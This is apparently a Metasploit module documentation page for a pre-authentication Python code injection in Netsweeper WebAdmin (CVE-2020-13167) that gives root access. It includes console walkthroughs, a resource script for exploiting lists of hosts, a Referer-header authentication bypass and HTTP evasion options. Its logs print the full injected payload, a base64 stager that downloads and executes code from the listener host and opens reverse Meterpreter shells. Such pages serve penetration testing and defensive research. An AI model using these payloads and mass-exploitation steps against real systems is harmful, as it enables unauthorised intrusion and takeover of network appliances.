Netsweeper WebAdmin unixlogin.php Python Code Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/netsweeper_webadmin_unixlogin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Netsweeper WebAdmin unixlogin.php Python Code Injection
Module: exploit/linux/http/netsweeper_webadmin_unixlogin
Source code: modules/exploits/linux/http/netsweeper_webadmin_unixlogin.rb
Disclosure date: 2020-04-28
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-13167
This module exploits a Python code injection in the Netsweeper WebAdmin component's unixlogin.php script, for versions 6.4.4 and prior, to execute code as the root user. Authentication is bypassed by sending a random whitelisted Referer header in each request. Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has been confirmed exploitable.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using netsweeper_webadmin_unixlogin against a single host
Normally, you can use exploit/linux/http/netsweeper_webadmin_unixlogin this way:
msf > use exploit/linux/http/netsweeper_webadmin_unixlogin
msf exploit(netsweeper_webadmin_unixlogin) > show targets
... a list of targets ...
msf exploit(netsweeper_webadmin_unixlogin) > set TARGET target-id
msf exploit(netsweeper_webadmin_unixlogin) > show options
... show and set options ...
msf exploit(netsweeper_webadmin_unixlogin) > exploit
Using netsweeper_webadmin_unixlogin against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your netsweeper_webadmin_unixlogin will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/netsweeper_webadmin_unixlogin")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits a Python code injection in the Netsweeper
WebAdmin component's unixlogin.php script, for versions 6.4.4 and
prior, to execute code as the root user.
Authentication is bypassed by sending a random whitelisted Referer
header in each request.
Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has been confirmed exploitable.
Setup
- Download the Netsweeper 6.4.3 ISO
- Boot from the ISO as a DVD in your preferred virtualization software
- Install the system as per the guided prompts
The system is based on CentOS Linux 6, and you may consult CentOS 6 documentation for guidance on the installation process.
The default credentials for WebAdmin are admin:netsweeper if you need
to log in to the web interface. This is not required for exploitation.
Verification Steps
Targets
0
This executes a Python payload.
Scenarios
Netsweeper 6.4.3 ISO, based on CentOS Linux
msf5 > use exploit/linux/http/netsweeper_webadmin_unixlogin
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > options
Module options (exploit/linux/http/netsweeper_webadmin_unixlogin):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Python
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.157
rhosts => 172.16.249.157
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > run
[*] Started HTTPS reverse handler on https://172.16.249.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Netsweeper 6.4.3 is a vulnerable version.
[*] Selecting random whitelisted Referer header: webadmin/api/
[*] Injecting Python code into password field: 0IonGkMXLHAz6WEurtI51ymUIkdaTIbP48wmlbCg7', 'd6'); exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMTYuMjQ5LjE6ODQ0My9YSDc1NmxXSnBQbjlUT2hZb19iT01BSldYQmRROScpLnJlYWQoKSkK')[0])) #
[*] Sending python/meterpreter/reverse_https to https://172.16.249.157/webadmin/tools/unixlogin.php
[*] https://172.16.249.1:8443 handling request from 172.16.249.157; (UUID: xvp5ei8z) Staging python payload (53935 bytes) ...
[*] Meterpreter session 1 opened (172.16.249.1:8443 -> 172.16.249.157:54130) at 2020-05-12 00:26:22 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux 2.6.32-754.25.1.el6.x86_64 #1 SMP Mon Dec 23 15:19:53 UTC 2019
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Netsweeper 6.4.4 ISO, based on CentOS Linux
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.160
rhosts => 172.16.249.160
msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > run
[*] Started HTTPS reverse handler on https://172.16.249.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Netsweeper 6.4.4 is a vulnerable version.
[*] Selecting random whitelisted Referer header: webadmin/systemconfig/edit_email_sending_settings.php
[*] Injecting Python code into password field: 7Ot5EJTCtZeprAkH36J9t2Equy8', 'oL'); exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMTYuMjQ5LjE6ODQ0My9KMFVhZjBVVzFic2lWemREZk8wUjdnVTZCUVBRYycpLnJlYWQoKSkK')[0])) #
[*] Sending python/meterpreter/reverse_https to https://172.16.249.160/webadmin/tools/unixlogin.php
[*] https://172.16.249.1:8443 handling request from 172.16.249.160; (UUID: bh9jykhb) Staging python payload (53873 bytes) ...
[*] Meterpreter session 2 opened (172.16.249.1:8443 -> 172.16.249.160:49172) at 2020-05-12 00:27:22 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux 2.6.32-754.25.1.el6.x86_64 #1 SMP Mon Dec 23 15:19:53 UTC 2019
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/netsweeper_webadmin_unixlogin exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/netsweeper_webadmin_unixlogin
[*] Using configured payload python/meterpreter/reverse_https
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show info
Name: Netsweeper WebAdmin unixlogin.php Python Code Injection
Module: exploit/linux/http/netsweeper_webadmin_unixlogin
Platform: Python
Arch: python
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-04-28
Provided by:
wvu <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Python
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a Python code injection in the Netsweeper
WebAdmin component's unixlogin.php script, for versions 6.4.4 and
prior, to execute code as the root user. Authentication is bypassed
by sending a random whitelisted Referer header in each request.
Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
been confirmed exploitable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-13167
https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
Module Options
This is a complete list of options available in the linux/http/netsweeper_webadmin_unixlogin exploit:
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show options
Module options (exploit/linux/http/netsweeper_webadmin_unixlogin):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Python
Advanced Options
Here is a complete list of advanced options supported by the linux/http/netsweeper_webadmin_unixlogin exploit:
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show advanced
Module advanced options (exploit/linux/http/netsweeper_webadmin_unixlogin):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpProxyHost no An optional proxy server IP address or hostname
HttpProxyPass no An optional proxy server password Max parameter length: 63 characters
HttpProxyPort no An optional proxy server port
HttpProxyUser no An optional proxy server username Max parameter length: 63 characters
HttpReferer no An optional value to use for the Referer HTTP header
HttpServerName Apache no The server header that the handler will send in response to requests
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko no The user-agent that the payload should use for communication Max parameter length: 255 characters
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/netsweeper_webadmin_unixlogin module can exploit:
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show targets
Exploit targets:
Id Name
-- ----
0 Python
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/netsweeper_webadmin_unixlogin exploit:
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/netsweeper_webadmin_unixlogin exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/netsweeper_webadmin_unixlogin) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
72: 'Referer' => rand_referer(:check) # Auth bypass via Referer header
73: }
74: )
75:
76: unless res
77: return CheckCode::Unknown('Target did not respond to check.')
78: end
79:
80: unless res.code == 200
81: return CheckCode::Unknown('Target is not running Netsweeper.')
82: end
Target is not running Netsweeper.
Here is a relevant code snippet related to the "Target is not running Netsweeper." error message:
76: unless res
77: return CheckCode::Unknown('Target did not respond to check.')
78: end
79:
80: unless res.code == 200
81: return CheckCode::Unknown('Target is not running Netsweeper.')
82: end
83:
84: if res.body.include?('Permission Denied: Unauthorized access.')
85: return CheckCode::Safe('Target has rejected our Referer auth bypass.')
86: end
Target has rejected our Referer auth bypass.
Here is a relevant code snippet related to the "Target has rejected our Referer auth bypass." error message:
80: unless res.code == 200
81: return CheckCode::Unknown('Target is not running Netsweeper.')
82: end
83:
84: if res.body.include?('Permission Denied: Unauthorized access.')
85: return CheckCode::Safe('Target has rejected our Referer auth bypass.')
86: end
87:
88: # Example version information from /webadmin/tools/systemstatus_remote.php:
89: # Version: 6.4.3
90: # Build Date: 2020-03-27 14:15:19
Netsweeper <VERSION> is NOT a vulnerable version.
Here is a relevant code snippet related to the "Netsweeper <VERSION> is NOT a vulnerable version." error message:
99: return CheckCode::Appears(
100: "Netsweeper #{version} is a vulnerable version."
101: )
102: end
103:
104: CheckCode::Safe("Netsweeper #{version} is NOT a vulnerable version.")
105: end
106:
107: def exploit
108: referer = rand_referer(:exploit)
109: vprint_status("Selecting random whitelisted Referer header: #{referer}")
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Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2020-13167
- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
See Also
Check also the following modules related to this module:
Authors
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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